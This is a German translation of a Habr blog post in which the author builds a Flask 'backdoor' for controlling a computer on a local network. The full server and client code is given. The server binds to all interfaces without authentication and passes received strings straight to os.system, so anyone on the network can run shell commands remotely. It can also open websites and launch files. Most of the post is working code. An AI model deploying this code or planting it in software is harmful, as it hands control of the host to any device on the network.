Eine kleine Hintertür auf Flask oder wie man einen Computer in einem lokalen Netzwerk steuert

Hey Habr!

Ich habe mir kürzlich eine heruntergeladene Version des Programmierstreams „So erstellen Sie Ihre eigene Webanwendung in Flask“ angesehen. Und ich beschloss, mein Wissen in einem Projekt zu festigen. Ich wusste lange nicht, was ich schreiben sollte, und mir kam die Idee: „Warum nicht eine Mini-Hintertür in Flask bauen?“

Die ersten Optionen für Implementierungen und Möglichkeiten der Hintertür tauchten sofort in meinem Kopf auf. Aber ich habe beschlossen, sofort eine Liste der Backdoor-Funktionen zu erstellen:

  1. Wissen, wie man Websites öffnet
  2. Sie haben Zugriff auf die Befehlszeile
  3. Sie können Programme, Fotos und Videos öffnen

Der erste Punkt ist also mit dem Webbrowser-Modul äußerst einfach umzusetzen. Ich habe mich entschieden, den zweiten Punkt mit dem OS-Modul umzusetzen. Und der dritte geht ebenfalls über das OS-Modul, aber ich werde „Links“ verwenden (dazu später mehr).

Einen Server schreiben

Also, *Trommelwirbel* der ganze Servercode:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Ich habe bereits den gesamten Code gelöscht. Jetzt ist es an der Zeit, das Wesentliche zu erklären.

Der gesamte Code wird auf dem lokalen Computer auf Port 5000 ausgeführt. Um mit dem Server zu interagieren, müssen wir eine JSON POST-Anfrage senden.

JSON-Anfragestruktur:

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

Nun, es macht Sinn, dass „Befehl“ der Befehl ist, den wir ausführen möchten. Und „Daten“ sind die Befehlsargumente.

Sie können JSON-Anfragen schreiben und senden, um manuell mit dem Server zu interagieren (Anfragen helfen Ihnen). Oder Sie können einen Konsolen-Client schreiben.

Einen Kunden schreiben

Code:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда не содержит аргументов!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда не содержит аргументов!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Erläuterungen:

Zunächst wird das Requests-Modul importiert (zur Interaktion mit dem Server). Nachfolgend finden Sie Beschreibungen der Start- und Testfunktionen. Und dann der Kreislauf, in dem die Magie geschieht. Hast du den Code gelesen? Sie verstehen also die Bedeutung der Magie, die im Zyklus geschieht. Geben Sie den Befehl ein – er wird ausgeführt. Shell – Befehle für die Befehlszeile (die Logik ist außerhalb des Maßstabs).

Test – prüfen, ob der Server läuft (Hintertür)
Link – Verwendung einer „Verknüpfung“
Openweb – Öffnen einer Website
Beenden – Beenden Sie den Client
Einstellen – Einstellen der IP Ihres Computers im lokalen Netzwerk

Und nun mehr zum Thema Link.

Neben dem Server befindet sich eine link.txt-Datei. Es enthält Links (vollständiger Pfad) zu Dateien (Videos, Fotos, Programme).

Der Aufbau ist so:

полный_путь>описание
полный_путь>описание

Ergebnis

Wir verfügen über einen Backdoor-Server zur Steuerung eines Computers in einem lokalen Netzwerk (innerhalb eines Wi-Fi-Netzwerks). Technisch gesehen können wir den Client von jedem Gerät aus ausführen, das über einen Python-Interpreter verfügt.

PS: Ich habe den Set-Befehl hinzugefügt, damit, wenn einem Computer im lokalen Netzwerk eine andere IP zugewiesen wird, diese direkt im Client geändert werden kann.

Source: habr.com

Kommentar hinzufügen